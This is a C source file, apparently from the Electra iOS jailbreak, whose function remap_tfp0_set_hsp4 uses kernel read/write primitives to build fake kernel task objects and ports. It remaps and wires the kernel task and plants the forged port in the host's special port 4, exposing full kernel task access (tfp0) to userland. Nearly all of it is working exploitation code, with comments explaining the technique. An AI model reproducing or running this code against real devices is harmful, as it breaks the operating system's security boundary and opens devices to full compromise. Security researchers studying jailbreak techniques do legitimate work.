123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184 |
- //
- // remap_tfp_set_hsp.c
- // electra
- //
- // Created by Viktor Oreshkin on 16.01.18.
- // Copyright © 2018 Electra Team. All rights reserved.
- //
- #include "remap_tfp_set_hsp.h"
- #include <stdlib.h>
- #include "kmem.h"
- #include "symbols.h"
- #include "kutils.h"
- #include "find_port.h"
- #include "patchfinder64.h"
- kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
- uint64_t make_fake_task(uint64_t vm_map) {
- uint64_t fake_task_kaddr = kmem_alloc(0x1000);
- void* fake_task = malloc(0x1000);
- memset(fake_task, 0, 0x1000);
- *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
- *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
- *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
- *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
- kmemcpy(fake_task_kaddr, (uint64_t) fake_task, 0x1000);
- free(fake_task);
- return fake_task_kaddr;
- }
- // in async_wake.h
- void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr);
- int remap_tfp0_set_hsp4(mach_port_t *port) {
- // huge thanks to Siguza for hsp4 & v0rtex
- // for explainations and being a good rubber duck :p
- // see https://github.com/siguza/hsp4 for some background and explaination
- // tl;dr: there's a pointer comparison in convert_port_to_task_with_exec_token
- // which makes it return TASK_NULL when kernel_task is passed
- // "simple" vm_remap is enough to overcome this.
- // However, vm_remap has weird issues with submaps -- it either doesn't remap
- // or using remapped addresses leads to panics and kittens crying.
- // tasks fall into zalloc, so src_map is going to be zone_map
- // zone_map works perfectly fine as out zone -- you can
- // do remap with src/dst being same and get new address
- // however, using kernel_map makes more sense
- // we don't want zalloc to mess with our fake task
- // and neither
- // proper way to use vm_* APIs from userland is via mach_vm_*
- // but those accept task ports, so we're gonna set up
- // fake task, which has zone_map as its vm_map
- // then we'll build fake task port from that
- // and finally pass that port both as src and dst
- // last step -- wire new kernel task -- always a good idea to wire critical
- // kernel structures like tasks (or vtables :P )
- // and we can write our port to realhost.special[4]
- // we can use mach_host_self() if we're root
- mach_port_t host_priv = fake_host_priv();
- int ret;
- uint64_t remapped_task_addr = 0;
- // task is smaller than this but it works so meh
- uint64_t sizeof_task = 0x1000;
- uint64_t kernel_task_kaddr;
- {
- // find kernel task first
- kernel_task_kaddr = rk64_electra(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
- while (kernel_task_kaddr != 0) {
- uint64_t bsd_info = rk64_electra(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
- uint32_t pid = rk32_electra(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
- if (pid == 0) {
- break;
- }
- kernel_task_kaddr = rk64_electra(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV));
- }
- if (kernel_task_kaddr == 0) {
- printf("[remap_kernel_task] failed to find kernel task\n");
- return 1;
- }
- printf("[remap_kernel_task] kernel task at 0x%llx\n", kernel_task_kaddr);
- }
- mach_port_t zm_fake_task_port = MACH_PORT_NULL;
- mach_port_t km_fake_task_port = MACH_PORT_NULL;
- ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &zm_fake_task_port);
- ret = ret || mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &km_fake_task_port);
- if (ret == KERN_SUCCESS && *port == MACH_PORT_NULL) {
- ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port);
- }
- if (ret != KERN_SUCCESS) {
- printf("[remap_kernel_task] unable to allocate ports: 0x%x (%s)\n", ret, mach_error_string(ret));
- return 1;
- }
- // strref \"Nothing being freed to the zone_map. start = end = %p\\n\"
- // or traditional \"zone_init: kmem_suballoc failed\"
- uint64_t zone_map_kptr = find_zone_map_ref();
- uint64_t zone_map = rk64_electra(zone_map_kptr);
- // kernel_task->vm_map == kernel_map
- uint64_t kernel_map = rk64_electra(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
- uint64_t zm_fake_task_kptr = make_fake_task(zone_map);
- uint64_t km_fake_task_kptr = make_fake_task(kernel_map);
- make_port_fake_task_port(zm_fake_task_port, zm_fake_task_kptr);
- make_port_fake_task_port(km_fake_task_port, km_fake_task_kptr);
- km_fake_task_port = zm_fake_task_port;
- vm_prot_t cur, max;
- ret = mach_vm_remap(km_fake_task_port,
- &remapped_task_addr,
- sizeof_task,
- 0,
- VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
- zm_fake_task_port,
- kernel_task_kaddr,
- 0,
- &cur, &max,
- VM_INHERIT_NONE);
- if (ret != KERN_SUCCESS) {
- printf("[remap_kernel_task] remap failed: 0x%x (%s)\n", ret, mach_error_string(ret));
- return 1;
- }
- if (kernel_task_kaddr == remapped_task_addr) {
- printf("[remap_kernel_task] remap failure: addr is the same after remap\n");
- return 1;
- }
- printf("[remap_kernel_task] remapped successfully to 0x%llx\n", remapped_task_addr);
- ret = mach_vm_wire(host_priv, km_fake_task_port, remapped_task_addr, sizeof_task, VM_PROT_READ | VM_PROT_WRITE);
- if (ret != KERN_SUCCESS) {
- printf("[remap_kernel_task] wire failed: 0x%x (%s)\n", ret, mach_error_string(ret));
- return 1;
- }
- uint64_t port_kaddr = find_port_address_electra(*port, MACH_PORT_TYPE_SEND);
- printf("[remap_kernel_task] port kaddr: 0x%llx\n", port_kaddr);
- make_port_fake_task_port(*port, remapped_task_addr);
- if (rk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) != remapped_task_addr) {
- printf("[remap_kernel_task] read back tfpzero kobject didnt match!\n");
- return 1;
- }
- // lck_mtx -- arm: 8 arm64: 16
- const int offsetof_host_special = 0x10;
- uint64_t host_priv_kaddr = find_port_address_electra(mach_host_self(), MACH_PORT_TYPE_SEND);
- uint64_t realhost_kaddr = rk64_electra(host_priv_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
- wk64_electra(realhost_kaddr + offsetof_host_special + 4 * sizeof(void*), port_kaddr);
- return 0;
- }
|